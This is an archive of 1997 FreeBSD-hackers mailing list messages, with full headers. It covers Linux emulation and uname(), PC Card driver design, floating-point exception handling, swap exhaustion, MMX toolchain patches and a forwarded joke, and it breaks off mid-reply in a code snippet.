joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Fri Oct 10 14:18:32 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA10409 for hackers-outgoing; Fri, 10 Oct 1997 14:18:32 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from usr08.primenet.com (tlambert@usr08.primenet.com [206.165.6.208]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id OAA10402 for ; Fri, 10 Oct 1997 14:18:26 -0700 (PDT) (envelope-from tlambert@usr08.primenet.com) Received: (from tlambert@localhost) by usr08.primenet.com (8.8.5/8.8.5) id OAA12575; Fri, 10 Oct 1997 14:18:15 -0700 (MST) From: Terry Lambert Message-Id: <199710102118.OAA12575@usr08.primenet.com> Subject: Re: UUCP (important clarification) To: bradley@dunn.org (Bradley Dunn) Date: Fri, 10 Oct 1997 21:18:15 +0000 (GMT) Cc: freebsd-hackers@FreeBSD.ORG In-Reply-To: from "Bradley Dunn" at Oct 10, 97 02:57:35 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > I work for an ISP and we make a decent amount of money selling UUCP to > small businesses. It works a whole lot better than the 'ETRN' SMTP > hackery. Er, what exactly don't you like about ETRN? I admit that "TURN" was definitely hackery (and Post.Office's XREMOTEQUEUE), but ETRN seems to me to be the way to go. It beats the finger-based triggerring hack all to heck... Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Fri Oct 10 14:31:47 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA11232 for hackers-outgoing; Fri, 10 Oct 1997 14:31:47 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from usr08.primenet.com (tlambert@usr08.primenet.com [206.165.6.208]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id OAA11227; Fri, 10 Oct 1997 14:31:44 -0700 (PDT) (envelope-from tlambert@usr08.primenet.com) Received: (from tlambert@localhost) by usr08.primenet.com (8.8.5/8.8.5) id OAA13249; Fri, 10 Oct 1997 14:31:13 -0700 (MST) From: Terry Lambert Message-Id: <199710102131.OAA13249@usr08.primenet.com> Subject: Re: LINUX emulation and uname(3). To: rivers@dignus.com (Thomas David Rivers) Date: Fri, 10 Oct 1997 21:31:13 +0000 (GMT) Cc: jlemon@americantv.com, rivers@dignus.com, cracauer@cons.org, freebsd-emulation@freefall.FreeBSD.org, freebsd-hackers@freefall.FreeBSD.org In-Reply-To: <199710101218.IAA08913@lakes.dignus.com> from "Thomas David Rivers" at Oct 10, 97 08:18:06 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > The Linux uname() call currently reports the FreeBSD info. I suppose > > that this could be made into a sysctl if it really becomes a nuisance? > > (see sys/i386/linux/linux_misc.c:linux_newuname for the implementation) > > Well - it was a nuisance in this case, as I was unable to run the > particular Linux program I wanted to run... > > And, of course, you are right... I got a small program that simply > calls uname() on Linux and ran it on FreeBSD - it reported the FreeBSD > info... > > However, after reporting what I was doing, the company sent me a new > license key (with the idea that "FreeBSD" would be returned in the utsname > fields), which worked... > > It's just a bother for the various companies, and it means that our claim > of being able to run Linux binaries isn't as complete as we may have wanted. > > Maybe a sysctl, so people could taylor it, is the right thing to do. > In any event, I think a uname() call under Linux emulation should claim > to be "Linux" and not "FreeBSD". So, the default should be "Linux"... I *STRONGLY* disagree! Putting aside for the moment the fact that the utsname is a silly thing to include in a licensing scheme on an OS where you can make it say whatever you want it to (you can even do it on Solaris/UnixWare, since you can load a loadable driver, and as part of the "init", overwrite the sysent[] table entry with a pointer to your replacement function). The reason the Linux uname reports FreeBSD instead of Linux information is *precisely* to trigger fixes exactly like the one you got. You now have added a "FreeBSD" tally mark instead of a "Linux" tally mark at that company. Initially, it was done because of the Linux NetScape reporting "Linux" to the HTTP servers on the other end of the line, when in fact it was running on FreeBSD. If you want accurate demographics for FreeBSD systems, then this type of thing needs to stick out. That said, I'm not terribly opposed to a sysctl() that would let you hammer it down, but it should *definitely* remain the way it is for the default, and hammering should be a last resort. I'm somewhat opposed to a sysctl(), only because it's too easy to avoid providing correct demographics to companies that should *know* that their products are being used on FreeBSD before the next release is ported to various platforms. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Fri Oct 10 14:34:27 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA11461 for hackers-outgoing; Fri, 10 Oct 1997 14:34:27 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from critter.freebsd.dk (critter.freebsd.dk [195.8.129.26]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id OAA11357; Fri, 10 Oct 1997 14:33:27 -0700 (PDT) (envelope-from phk@critter.freebsd.dk) Received: from critter.freebsd.dk (localhost.cybercity.dk [127.0.0.1]) by critter.freebsd.dk (8.8.7/8.8.7) with ESMTP id XAA05727; Fri, 10 Oct 1997 23:32:18 +0200 (CEST) To: "Fred L. Templin" cc: freebsd-current@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG, freebsd-mobile@FreeBSD.ORG Subject: Re: pccard driver questions (FreeBSD 2.2.2-RELEASE + PAO-970616) In-reply-to: Your message of "Fri, 10 Oct 1997 13:15:15 PDT." <199710102015.NAA01520@grayling.erg.sri.com> Date: Fri, 10 Oct 1997 23:32:17 +0200 Message-ID: <5725.876519137@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >I'm using FreeBSD 2.2.2-RELEASE with PAO-970616, and I'm writing a >new device driver for a PCMCIA card which is not currently supported in >either of these packages. The card is strictly a memory-mapped device, >and has no I/O mapping or interrupt capability. The card is programmed >by writing command(s) and data into the card's common memory space, then >setting a bit in the function configuration registers in attribute memory >space to tell the card to begin, then polling another bit in the registers >to ascertain when the card is done executing the command(s). Sounds like a linear flash card, doesn't it :-) Go for it, I have an Intel 2+ 8M card here, but have never had til to make a driver. >The only other driver I've seen in the FreeBSD source pool which seems >to want to play with 'uiomove()' and window mappings like this is >sys/i386/isa/scc.c, but the driver is rife with comments of the form: >"bad things will happen if you pull the card out while the system is >running" This you can write above any instruction which accesses a pccard. With the "surprise style" (as opposed to "VCR-style") eject mechanism the hardware may be gone without notice from one instruction to the next. Nothing you can do about it. >My second question has to do with the way slot controller chips are >probed. From looking at 'pcic_probe()' in sys/pccard/pcic.c, it looks >for all the world to me that only a single slot controller chip is >supported (i.e., there are no unit numbers, and there is only one >statically-allocated "slot_ctrl" struct). Is it true that FreeBSD >currently only supports one slot controller chip (which controls two >slots), or am I missing something? (I'm hoping the folks working on >-current might have some knowledge on this...) Well, the overall framework does support it, the actual code may not. I should be a minor thing to get it fixed, give a little bit of hardware and time. I don't actually know if we have the necessary callbacks into the pcic driver to modify the memory windows on the fly. If not we will need to add them. -- Poul-Henning Kamp FreeBSD coreteam member phk@FreeBSD.ORG "Real hackers run -current on their laptop." From owner-freebsd-hackers Fri Oct 10 14:44:49 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA12191 for hackers-outgoing; Fri, 10 Oct 1997 14:44:49 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from usr08.primenet.com (tlambert@usr08.primenet.com [206.165.6.208]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id OAA12186; Fri, 10 Oct 1997 14:44:44 -0700 (PDT) (envelope-from tlambert@usr08.primenet.com) Received: (from tlambert@localhost) by usr08.primenet.com (8.8.5/8.8.5) id OAA14799; Fri, 10 Oct 1997 14:44:35 -0700 (MST) From: Terry Lambert Message-Id: <199710102144.OAA14799@usr08.primenet.com> Subject: Re: LINUX emulation and uname(3). To: richard@pegasus.com (Richard Foulk) Date: Fri, 10 Oct 1997 21:44:34 +0000 (GMT) Cc: freebsd-emulation@freefall.FreeBSD.org, freebsd-hackers@freefall.FreeBSD.org In-Reply-To: <199710101754.HAA17182@pegasus.com> from "Richard Foulk" at Oct 10, 97 07:54:17 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > This is absurd. > > When you're emulating another OS you want to get as close as possible > to acting just like that OS. Period. Agreed. > The goal is to run software. If the emulation is incomplete then > chances are some things won't run -- which means the emulator fails it's > primary task. So, when do the patches for vgalib, user LDT, and Linux vm86() call support arrive? There are many more programs that care about these than uname(). Frankly, given the speed of the version rotor, I'd be very surprised if anything keyed on "release" or "version" at all... > If you find the `Linux' report to be that hideous then make the output > configurable. The value of "sysname" is exactly what was at issue here. The result that the company now produces FreeBSD specific license keys is a highly desirable outcome. I would even say "optimal", except I believe they should port their product to run natively on FreeBSD. Even so, now they are aware of FreeBSD, and we may see it mentioned in their ads. > But the default action should be as close to what Linux produces as possible. Fine. What's the exact version of Linux we are emulating? > If Linux software doesn't run, for any reason, then the emulator has failed. Agreed. But there are more serious failures than this. This was a license failure, not a product failure, in any case. As I said before, "sysname" is a silly thing to use for your license on an OS where its value can be changed at will (which is all of them). I much prefer floating instance licenses, in any case. Hmmm. Maybe I should make my loadable license spoofer for Solaris (which I wrote because it was easier than transferring the license) available? It vfork's and sends down the desired license data with the PID before exec'ing the licensed program. It handles both uname and hostid data. Any call with a spoofed PID (flag for PPID for child processes) gets the spoofed return. Pretty darn trivial "emulator failure"... Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Fri Oct 10 14:50:11 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA12466 for hackers-outgoing; Fri, 10 Oct 1997 14:50:11 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from usr08.primenet.com (usr08.primenet.com [206.165.6.208]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id OAA12459 for ; Fri, 10 Oct 1997 14:50:05 -0700 (PDT) (envelope-from tlambert@usr08.primenet.com) Received: (from tlambert@localhost) by usr08.primenet.com (8.8.5/8.8.5) id OAA15093; Fri, 10 Oct 1997 14:49:09 -0700 (MST) From: Terry Lambert Message-Id: <199710102149.OAA15093@usr08.primenet.com> Subject: Re: Floating point exceptions To: gjohnson@nola.srrc.usda.gov (Glenn Johnson) Date: Fri, 10 Oct 1997 21:49:09 +0000 (GMT) Cc: freebsd-hackers@FreeBSD.ORG In-Reply-To: <199710101907.OAA09470@millenia.srrc.usda.gov> from "Glenn Johnson" at Oct 10, 97 02:07:33 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > I've got a calculation intensive (simulation) application that I run that > aborts with a Floating Point Exception error under FreeBSD -current. I can run > this application just fine under Linux, but of course I want to run it under > FreeBSD (so I can replace Linux). My understanding is that FreeBSD traps > FPE's. Is there a way for me to change the FreeBSD source code to mask FPE's > rather than trap them? Better yet, can I do that for a specific application at > compile time? Your assistance is greatly appreciated. Fix: Correct the code to not generate exceptions Bad fix: fpsetmask( 0); Worst fix: signal( SIGFPE, SIG_IGN); Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Fri Oct 10 15:06:04 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id PAA13456 for hackers-outgoing; Fri, 10 Oct 1997 15:06:04 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from usr08.primenet.com (tlambert@usr08.primenet.com [206.165.6.208]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id PAA13437 for ; Fri, 10 Oct 1997 15:05:51 -0700 (PDT) (envelope-from tlambert@usr08.primenet.com) Received: (from tlambert@localhost) by usr08.primenet.com (8.8.5/8.8.5) id PAA16041; Fri, 10 Oct 1997 15:05:27 -0700 (MST) From: Terry Lambert Message-Id: <199710102205.PAA16041@usr08.primenet.com> Subject: Re: group assignments from make world. To: jkh@time.cdrom.com (Jordan K. Hubbard) Date: Fri, 10 Oct 1997 22:05:26 +0000 (GMT) Cc: tlambert@primenet.com, imp@village.org, hackers@FreeBSD.ORG, fullermd@futuresouth.com In-Reply-To: <11936.876445293@time.cdrom.com> from "Jordan K. Hubbard" at Oct 9, 97 06:01:33 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > Does this strike anyone else as a discipline issue rather than > > a user read-access control issue? > > What's your point? You're not going to get 70+ volunteer > hackers to do a synchronized swimming act no matter how much Isn't the Olympic synchronized swimming team all volunteer as well? How do they get volunteers to do a synchronized swimming act? 8-) 8-). Simon had the correct interpretation of my comments, by the way, so you can turn down the steam. 8-). > Yes, in an idealized world you could do all that and I'm sure that you > will now cite personal experience at Novell where 10,000 developers > all worked in close harmony despite not being paid a cent, purely > through the administration of simple electric shocks, but I don't see > any of that as particularly practical in our circumstances. The shocks weren't that simple; I don't think they'd work in a volunteer effort without everyone signing a waiver. Novell's was part of the employment contract: the page following the "involuntary organ donation to ailing company executives" form -- luckily no one who matched my tissue types needed organs during my tenure there. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Fri Oct 10 15:34:38 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id PAA15048 for hackers-outgoing; Fri, 10 Oct 1997 15:34:38 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from earth.mat.net (root@earth.mat.net [206.246.122.2]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id PAA15027 for ; Fri, 10 Oct 1997 15:34:30 -0700 (PDT) (envelope-from chuckr@glue.umd.edu) Received: from picnic.mat.net (picnic.mat.net [206.246.122.117]) by earth.mat.net (8.8.7/8.6.12) with SMTP id SAA08094; Fri, 10 Oct 1997 18:34:01 -0400 (EDT) Date: Fri, 10 Oct 1997 17:34:04 -0400 (EDT) From: Chuck Robey X-Sender: chuckr@localhost To: Terry Lambert cc: Glenn Johnson , freebsd-hackers@FreeBSD.ORG Subject: Re: Floating point exceptions In-Reply-To: <199710102149.OAA15093@usr08.primenet.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Fri, 10 Oct 1997, Terry Lambert wrote: > > I've got a calculation intensive (simulation) application that I run that > > aborts with a Floating Point Exception error under FreeBSD -current. I can run > > this application just fine under Linux, but of course I want to run it under > > FreeBSD (so I can replace Linux). My understanding is that FreeBSD traps > > FPE's. Is there a way for me to change the FreeBSD source code to mask FPE's > > rather than trap them? Better yet, can I do that for a specific application at > > compile time? Your assistance is greatly appreciated. > > Fix: Correct the code to not generate exceptions > Bad fix: fpsetmask( 0); > Worst fix: signal( SIGFPE, SIG_IGN); Terry, I figured if he understood his application's math well enough to do the first fix, he'd have done it without asking us. Your worst case fix doesn't have to be that way, he could set up a signal catcher, so that he could identify which calculations are killing him, then maybe fix the code from there. That's what I'd likely do, if I couldn't spot the original killing calculation. Disagree? > > > Terry Lambert > terry@lambert.org > --- > Any opinions in this posting are my own and not those of my present > or previous employers. > > ----------------------------+----------------------------------------------- Chuck Robey | Interests include any kind of voice or data chuckr@eng.umd.edu | communications topic, C programming, and Unix. 213 Lakeside Drive Apt T-1 | Greenbelt, MD 20770 | I run Journey2 and picnic, both FreeBSD (301) 220-2114 | version 3.0 current -- and great FUN! ----------------------------+----------------------------------------------- From owner-freebsd-hackers Fri Oct 10 15:41:59 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id PAA15464 for hackers-outgoing; Fri, 10 Oct 1997 15:41:59 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from sag.space.lockheed.com (sag.space.lockheed.com [192.68.162.134]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id PAA15459 for ; Fri, 10 Oct 1997 15:41:54 -0700 (PDT) (envelope-from handy@sag.space.lockheed.com) Received: from localhost by sag.space.lockheed.com; (5.65v3.2/1.1.8.2/21Nov95-0423PM) id AA02330; Fri, 10 Oct 1997 15:41:51 -0700 Date: Fri, 10 Oct 1997 15:41:51 -0700 (PDT) From: "Brian N. Handy" To: freebsd-hackers@freebsd.org Subject: Run out of swap Message-Id: X-Files: The truth is out there Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi folks, I'm having problems with my machine hanging when I run it up against the stops in terms of memory usage. I have 128MB of RAM, and I have 240MB of swap. (Before I upgraded this was easily enough space. :-) This is my data analysis machine, I'm looking at boatloads of solar physics data on it. The program of choice is called IDL, which is (in turn) running under linux-emulation. Now every so often I start up a too-ambitious job, run out of memory and it crashes. I get the predictable "job kilt" line which tells me I ran out of memory and I was dutifully kicked out. HOWEVER, now what I'm seeing every so often is that it doesn't kick me out, but instead the machine just hangs. The clock in the corne of my screen stops, the mouse stops, the num lock light doesn't go off and off. Fixed and dialated. Once this happens, it seems like I have to hit the reset button. The box has no other real traffic other than doing this stuff. Now when I talk about huge memory usage, I'm talking about say looking at 300 256x256 pixel images with various mathematical processes happening to them (dark current subtraction, take the natural log to bring out the diffuse stuff, that sort of thing.) So I'm not surprised I'm running out of memory. But I'm not sure why the job won't just crash when I hit the end of space. The (maybe) relavant lines from my kernel config: options "MAXMEM=(128*1024)" options "MAXDSIZ=(256*1024*1024)" options "DFLDSIZ=(256*1024*1024)" It could be these last two are too big for the smallish about of swap I have available. Anyway, are there any suggestions out there? I'm not sure how to figure out where I'm hanging, but I seem to be able to repeat the problem fairly consistently. I'd rather the job crashed instead of just running into a wall. Thanks, Brian From owner-freebsd-hackers Fri Oct 10 15:58:23 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id PAA16389 for hackers-outgoing; Fri, 10 Oct 1997 15:58:23 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from dcarmich.pr.mcs.net (dcarmich.pr.mcs.net [204.95.63.202]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id PAA16368; Fri, 10 Oct 1997 15:58:12 -0700 (PDT) (envelope-from dcarmich@dcarmich.pr.mcs.net) Received: (from dcarmich@localhost) by dcarmich.pr.mcs.net (8.8.5/8.8.5) id SAA00400; Fri, 10 Oct 1997 18:01:36 -0500 (CDT) From: Douglas Carmichael Message-Id: <199710102301.SAA00400@dcarmich.pr.mcs.net> Subject: FreeBSD for the PowerMac? To: freebsd-hackers@freebsd.org Date: Fri, 10 Oct 1997 18:01:35 -0500 (CDT) Cc: freebsd-platforms@freebsd.org X-Mailer: ELM [version 2.4ME+ PL31H (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Could it be done by: 1) Porting the "Lites" single server (http://www.cs.hut.fi/lites.html) to PowerPC 2) Running it under Mach (which is already used by MkLinux) 3) Making the whole "world" except the kernel and libraries from FreeBSD/i386. What would be a good name for this project? MkFreeBSD, FreeBSD/PPC, FreeBSD/MK? From owner-freebsd-hackers Fri Oct 10 16:17:31 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA17006 for hackers-outgoing; Fri, 10 Oct 1997 16:17:31 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from atlantis.ping.at (a013.static.Vienna.AT.EU.net [193.154.186.13]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA16997 for ; Fri, 10 Oct 1997 16:17:22 -0700 (PDT) (envelope-from hfwirth@ping.at) Received: from atlantis (localhost.ping.at [127.0.0.1]) by atlantis.ping.at (8.8.7/8.6.12) with SMTP id BAA00232; Sat, 11 Oct 1997 01:17:07 +0200 (MEST) Message-ID: <343EB773.41C67EA6@ping.at> Date: Sat, 11 Oct 1997 01:17:07 +0200 From: "Helmut F. Wirth" X-Mailer: Mozilla 3.01Gold (X11; I; FreeBSD 3.0-CURRENT i386) MIME-Version: 1.0 To: Joerg Wunsch CC: hackers@freebsd.org Subject: Re: Intel MMX programming References: <343D7911@mail> <343DE63D.41C67EA6@zerberus.hai.siemens.co.at> <19971010212645.JR64544@uriah.heep.sax.de> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk J Wunsch wrote: > > As Helmut Wirth wrote: > > > I submitted patches for the assembler and for the debugger gdb to > > support MMX instructions. The patches were submitted at the end of > > March 97 but nobody was interested. They are still sitting around in the > > GNATS database (gnu/3157, 97/03/31). > > We basically don't maintain the GNU stuff ourselves. Did you submit > the patches to the gas and gdb maintainers, too? That stands a way > better chance. (We actually maintain part of the stuff, but only > since GNU doesn't support a.out anymore.) > > -- > cheers, J"org > > joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE > Never trust an operating system you don't have sources for. ;-) Joerg, could you give me a hint how to submit to the GNU maintainers ? I have no idea how to do this, but it would be the best way. On the other hand it could be useful to install my changes until the changes to gdb ans gas take place and we incorporate them into current. Thanks Helmut -- Helmut F. Wirth Email: hfwirth@ping.at From owner-freebsd-hackers Fri Oct 10 16:32:20 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA17701 for hackers-outgoing; Fri, 10 Oct 1997 16:32:20 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from sag.space.lockheed.com (sag.space.lockheed.com [192.68.162.134]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id QAA17688 for ; Fri, 10 Oct 1997 16:32:16 -0700 (PDT) (envelope-from handy@sag.space.lockheed.com) Received: from localhost by sag.space.lockheed.com; (5.65v3.2/1.1.8.2/21Nov95-0423PM) id AA27920; Fri, 10 Oct 1997 16:32:16 -0700 Date: Fri, 10 Oct 1997 16:32:16 -0700 (PDT) From: "Brian N. Handy" To: freebsd-hackers@freebsd.org Subject: Re: Run out of swap In-Reply-To: Message-Id: X-Files: The truth is out there Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Fri, 10 Oct 1997, Brian N. Handy wrote: >[I'm running out of swap] Oh, yea. One more thing. Here it is: FreeBSD lambic.space.lockheed.com 2.2-STABLE FreeBSD 2.2-STABLE #0: Thu Oct 9 11:32:15 PDT 1997 [...] So, -STABLE cvsupped and compiled yesterday. I compiled the lkm's and kernel, the world hasn't been re-made in a while. Brian From owner-freebsd-hackers Fri Oct 10 16:36:22 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA17877 for hackers-outgoing; Fri, 10 Oct 1997 16:36:22 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from inertia.dfacades.com (inertia.dfacades.com [207.155.93.5]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA17869 for ; Fri, 10 Oct 1997 16:36:19 -0700 (PDT) (envelope-from sasha@dfacades.com) Received: from [207.155.93.28] (sasha-mac.dfacades.com [207.155.93.28] (may be forged)) by inertia.dfacades.com (8.8.7/8.8.7) with ESMTP id QAA02900 for ; Fri, 10 Oct 1997 16:39:45 -0700 (PDT) X-Sender: sasha@inertia.dfacades.com Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Fri, 10 Oct 1997 16:22:28 -0700 To: HACKERS@FREEBSD.ORG From: "Justine E. LaBrucherie" (by way of Sasha Johnson) Subject: Fwd: Fwd> Irishman in a bar Sender: owner-freebsd-hackers@FREEBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Content-Type: text/plain; charset=us-ascii Content-Length: 1867 Content-Transfer-Encoding: 7bit >No body present. See attached file. AOCE type/creator=lttr:lap2 > > > >------------------ Nested Letter Follows ------------------ >An Irishman walks into a bar in Dublin, orders three pints of Guinness >and sits in the back of the room, drinking a sip out of each one in >turn. When he finishes them, he comes back to the bar and orders three >more. > >The bartender asks him, "You know, a pint goes flat after I draw >it; it would taste better if you bought one at a time." > >The Irishman replies, "Well, you see, I have two brothers. One is >in America, the other in Australia, and I'm here in Dublin. >When we all left home, we promised that we'd drink this way >to remember the days when we drank together." > >The bartender admits that this is a nice custom, and leaves it there. > >The Irishman becomes a regular in the bar, and always drinks the same >way: He orders three pints and drinks them in turn. > >One day, he comes in and orders two pints. All the other regulars >notice and fall silent. > >When he comes back to the bar for the second round, the bartender >says, "I don't want to intrude on your grief, but I wanted to offer >my condolences on your great loss." > >The Irishman looks confused for a moment, then a light dawns in > his eye and he laughs. "Oh, no," he, says, "everyone's fine. >I've just quit drinking." > > > > >-- > >| Victor R. Orly - victor@ni.net / victor@orly.com / victor@jeffries.com | >| Web Page: http://www.orly.com/ | >| B.S., Aerospace Engineering, University of Southern California, 1994. | >| U$C vs. U#162#LA - YOU GET WHAT YOU PAY FOR!!!!! >| > > >------------------ End of Nested Letter ------------------ > > Free web-based email, Forever, From anywhere! http://www.mailexcite.com Received: from mail.ejl.com (mail.ejl.com [205.185.104.13]) by ejlhost.ejl.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via SMTP id KAA21125; Fri, 10 Oct 1997 10:47:31 -0700 From: "Francine Uyetake" Date: 10 Oct 1997 10:48:12 -0700 X-Mailer: Mail*Link SMTP-PS 3.0.2 Subject: Fwd> Irishman in a bar Message-Id: To: "BillRude@aol.com" , "Cayner@aol.com" , "Justine E. LaBrucherie" , "NSU13@aol.com" , "Cynthia Tews" , "Isabelle Loza" , "Jean Lorenat" , "Jeff Bailes" , "Jimmy Marcey" Content-Type: text/plain; charset=us-ascii Content-Length: 1695 Content-Transfer-Encoding: 7bit No body present. See attached file. AOCE type/creator=lttr:lap2 ------------------ Nested Letter Follows ------------------ An Irishman walks into a bar in Dublin, orders three pints of Guinness and sits in the back of the room, drinking a sip out of each one in turn. When he finishes them, he comes back to the bar and orders three more. The bartender asks him, "You know, a pint goes flat after I draw it; it would taste better if you bought one at a time." The Irishman replies, "Well, you see, I have two brothers. One is in America, the other in Australia, and I'm here in Dublin. When we all left home, we promised that we'd drink this way to remember the days when we drank together." The bartender admits that this is a nice custom, and leaves it there. The Irishman becomes a regular in the bar, and always drinks the same way: He orders three pints and drinks them in turn. One day, he comes in and orders two pints. All the other regulars notice and fall silent. When he comes back to the bar for the second round, the bartender says, "I don't want to intrude on your grief, but I wanted to offer my condolences on your great loss." The Irishman looks confused for a moment, then a light dawns in his eye and he laughs. "Oh, no," he, says, "everyone's fine. I've just quit drinking." -- | Victor R. Orly - victor@ni.net / victor@orly.com / victor@jeffries.com | | Web Page: http://www.orly.com/ | | B.S., Aerospace Engineering, University of Southern California, 1994. | | U$C vs. U#162#LA - YOU GET WHAT YOU PAY FOR!!!!! | ------------------ End of Nested Letter ------------------ From owner-freebsd-hackers Fri Oct 10 16:47:18 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA18293 for hackers-outgoing; Fri, 10 Oct 1997 16:47:18 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from afs.ntc.mita.keio.ac.jp (afs.ntc.mita.keio.ac.jp [131.113.212.3]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA18270; Fri, 10 Oct 1997 16:47:06 -0700 (PDT) (envelope-from hosokawa@ntc.keio.ac.jp) Received: (from hosokawa@localhost) by afs.ntc.mita.keio.ac.jp (8.8.7/3.6Wbeta6-ntc_mailserver1.03) id IAA07501; Sat, 11 Oct 1997 08:46:44 +0900 (JST) Date: Sat, 11 Oct 1997 08:46:44 +0900 (JST) Message-Id: <199710102346.IAA07501@afs.ntc.mita.keio.ac.jp> To: templin@erg.sri.com Cc: freebsd-current@freebsd.org, freebsd-hackers@freebsd.org, freebsd-mobile@freebsd.org, hosokawa@ntc.keio.ac.jp Subject: Re: pccard driver questions (FreeBSD 2.2.2-RELEASE + PAO-970616) In-Reply-To: Your message of "Fri, 10 Oct 1997 13:15:15 -0700". <199710102015.NAA01520@grayling.erg.sri.com> From: hosokawa@ntc.keio.ac.jp (HOSOKAWA Tatsumi) X-Mailer: mnews [version 1.20] 1996-12/08(Sun) Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Okay, I answer the easier question :-). In article <199710102015.NAA01520@grayling.erg.sri.com> templin@erg.sri.com writes: >> My second question has to do with the way slot controller chips are >> probed. From looking at 'pcic_probe()' in sys/pccard/pcic.c, it looks >> for all the world to me that only a single slot controller chip is >> supported (i.e., there are no unit numbers, and there is only one >> statically-allocated "slot_ctrl" struct). Is it true that FreeBSD >> currently only supports one slot controller chip (which controls two >> slots), or am I missing something? (I'm hoping the folks working on >> -current might have some knowledge on this...) slot_ctrl struct have per-controller parameters in it. Not per-slot parameters. It can controll more than two slots, but it can't controll more than two PC-card controllers. The latest test version (found in ftp://jaz.jp.freebsd.org/pub/FreeBSD-jp/PAO/test) have multiple slot_ctrl struct, and it can controll more than two controllers. Original: ---------------------------------------------------------------- static struct slot_ctrl cinfo; ---------------------------------------------------------------- Newer code: ---------------------------------------------------------------- static struct slot_ctrl 